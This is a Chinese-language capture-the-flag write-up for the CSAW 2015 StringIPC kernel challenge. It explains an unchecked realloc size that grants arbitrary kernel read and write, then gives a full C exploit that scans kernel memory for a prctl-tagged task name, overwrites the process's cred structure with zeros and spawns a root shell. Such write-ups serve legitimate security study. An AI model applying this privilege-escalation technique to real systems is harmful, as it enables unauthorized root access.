CSAW-2015-StringIPC解法一修改cred结构
CSAW-2015-StringIPC
首先,查看一下启动脚本,发现没有开smap、smep、kaslr
- qemu-system-x86_64 \
- -m 512 \
- -kernel ./bzImage \
- -initrd ./rootfs.cpio \
- -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
- -nographic \
- -s \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
查看一下内核版本,为4.4.x
然后,我们分析一下StringIPC.ko驱动文件,题目有提供给我们源代码,那么我们直接分析源代码
realloc_ipc_channel函数里,没有对new_size进行检查,如果new_size为-1的话,程序将krealloc(0),与glibc的堆不同的是,如果kmalloc(0)/kerallloc(0),返回的地址就是0x10。
而后面又将buf_size设置为new_size,如果new_size是-1,由于是无符号数,并且堆地址为0x10,那么我们就能实现任意地址读写。
写数据的时候,需要注意的是使用了strncpy_from_user函数,因此数据中如果遇到0,就截断了,因此,在写的时候,我们应该逐字节写入。
能实现任意地址读写,那么最简单的方法就是在内存里搜索cred结构,然后篡改,从而提权。那么,如何可靠的在内存中查找cred结构能?
Linux的进程有一个这样的结构体(太长部分省略)
- struct task_struct {
- ...
- /* Objective and real subjective task credentials (COW): */
- const struct cred __rcu *real_cred;
- /* Effective (overridable) subjective task credentials (COW): */
- const struct cred __rcu *cred;
- /*
- * executable name, excluding path.
- *
- * - normally initialized setup_new_exec()
- * - access it with [gs]et_task_comm()
- * - lock it with task_lock()
- */
- char comm[TASK_COMM_LEN];
- ...
- }
我们看到了,在task_struct结构体里有cred的指针,我们只要得到了cred的指针的值,那么我们就能利用任意地址读写来找到cred,进而修改。那么如何找到cred的指针呢?我们注意到,在cred指针下方,有一个comm字符数组,这个字符串表示线程的名字,其内容可以通过linux的prctl(PR_SET_NAME,target);来设置指定的值。那么,我们设置一个复杂的长度不超过16字节的字符串作为标记,然后,在内存里搜索这个标记,如果搜索到了,就可以确定这个位置前面就是cred指针。
为了提高搜索的效率,我们还要确定一下搜索的范围,linux kernel的内存映射图如下
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
我们注意到,在0xffff880000000000——0xffffc80000000000区域,是堆的分配区域,因此,我们只需要搜索这段内存,即可找到task_struct结构,进而找到cred结构。
我们的exploit.c程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
errExit("[-] open file error!!");
}
}
//申请一个channel,返回id
int alloc_channel(size_t size) {
struct alloc_channel_args args;
args.buf_size = size;
args.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if (args.id == -1) {
errExit("[-]alloc_channel error!!");
}
return args.id;
}
//改变channel的大小
void shrink_channel(int id,size_t size) {
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {
struct read_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {
struct write_channel_args args;
args.id = id;
args.buf = buf;
args.count = count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
char root_cred[28] = {0};
int main() {
//通过prctl给当前进程的task结构设置一个标记,方便我们在内存中搜索时可以作为依据
//char tag[16] = "thisisatag";
char *buf = (char *)calloc(1,0x1000);
//prctl(PR_SET_NAME,tag);
char target[16];
strcpy(target,"try2findmesauce");
prctl(PR_SET_NAME,target);
initFD();
//申请一个channel,大小0x100
int id = alloc_channel(0x100);
//改变channel大小,形成漏洞,实现任意地址读写
shrink_channel(id,0x101);
size_t cred_addr = -1;
//task和cred结构的范围在0xffff880000000000~0xffffc80000000000
for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
//每次读取0x1000的字节
arbitrary_read(id,buf,addr,0x1000);
//搜索当前读出的数据里是否有我们的标记
size_t tag_ptr = memmem(buf, 0x1000,target,16);
if (tag_ptr) {
cred_addr = *(size_t *)(tag_ptr - 0x8);
size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
printf("[+] cred_addr at 0x%lx\n",cred_addr);
break;
}
}
}
if (cred_addr == -1) {
errExit("[-]can't find cred!!");
}
arbitrary_write(id,root_cred,cred_addr,28);
if (getuid() == 0) {
printf("[+]rooted!!\n");
system("/bin/sh");
} else {
errExit("[-]root fail!!\n");
}
return 0;
}
上一篇: linux kernel pwn学习之hijack prctl
下一篇: CVE20190708复现